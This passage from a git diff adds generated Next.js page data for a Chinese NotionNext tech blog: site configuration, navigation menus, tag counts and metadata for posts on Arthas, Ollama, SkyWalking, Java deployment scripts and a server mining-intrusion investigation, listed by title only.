eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240320-arthas.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240320-arthas.json
new file mode 100644
index 000000000..c5a6cd8af
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240320-arthas.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"e013510c-b3a7-4907-b4cd-118b118d30db":{"value":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","version":712,"type":"page","content":["49660a6b-8b10-4449-a089-e36bd6de154f","4167aad0-7638-4d68-8664-3c483389677f","75842799-a053-4659-ab50-17678231e4ff","6216de61-29ce-4cc1-9319-ab02317fa14a","2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","ece49cba-6c96-4588-b464-5c0c71b286f3","b3c41a84-43ee-4d6b-8bbd-091ff384fd59","f4ac19d7-d241-4ba2-94cb-255c510c8bef","2a69447b-8578-439b-8fff-9f1bcd702af0","afd11af0-cd3a-42fb-9f6d-c63e50e0c935","eb365015-594d-4556-b962-17bd7c09aca4","3aa2a959-6acc-470e-a328-06cfb782b7da","1abb1800-907c-407f-8c68-4870699ce5a3","c810b651-629c-494d-951f-1c49c6d3e328","57d4ad7c-5cc1-404b-887f-864994a1e2c7","aa247981-241f-4ca5-b749-229ce2fcf44e","e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","0bce87bd-e041-4e99-86df-656bc5692349","db0307cc-b039-40e6-a680-7bfc07afaa67","e9e6045c-97a6-4a9b-959f-f04f7019f248","00bc6d41-7356-48b6-a443-e145bb33d169","4fcb29e1-90ad-4736-b951-b048e8b490f4","c045edef-158c-4c43-a867-45748cdf2ed0","3c034094-e024-42f9-818d-fd49579543ab","3991bb35-efa4-4722-a269-9f80ad3e5a89","46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","91a2fac9-d67e-4eb6-8f80-ce12aa78557c","5e155fc2-041f-4ac4-9863-f257c6ae8d99","a70ea93f-49bc-44eb-9af4-58311b9e22a0","5b9a3023-17e9-4d71-9a01-b90ada81a321","309ea1f2-8e10-48f9-8990-6192b5ecf2dc","28f29155-ccfb-4e5c-a590-530707efde4e","72c01b35-1a16-4630-8517-0ef7f56a4958","39acdf62-e65e-4362-a2ff-92efffb2eea9","110b2916-df77-4445-a6f5-5a7f700f14e0","6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","713edbb3-17cd-4bb8-91c5-4a500b3a8994","23e941c9-ce06-4f1b-af06-6bccec2d3ea4","bb1503ec-72a1-49b0-bfc0-5514d3749738","5d496523-f3ac-4297-ab9d-49946de020e0","abe817d3-4a91-4f84-aed1-113eab9e33ea","b7688c06-839f-475f-99d8-092a08b7e21d","7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","27f5381c-4c90-4bf9-ad1d-be7f972dfced"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710900516985,"last_edited_time":1710910330213,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8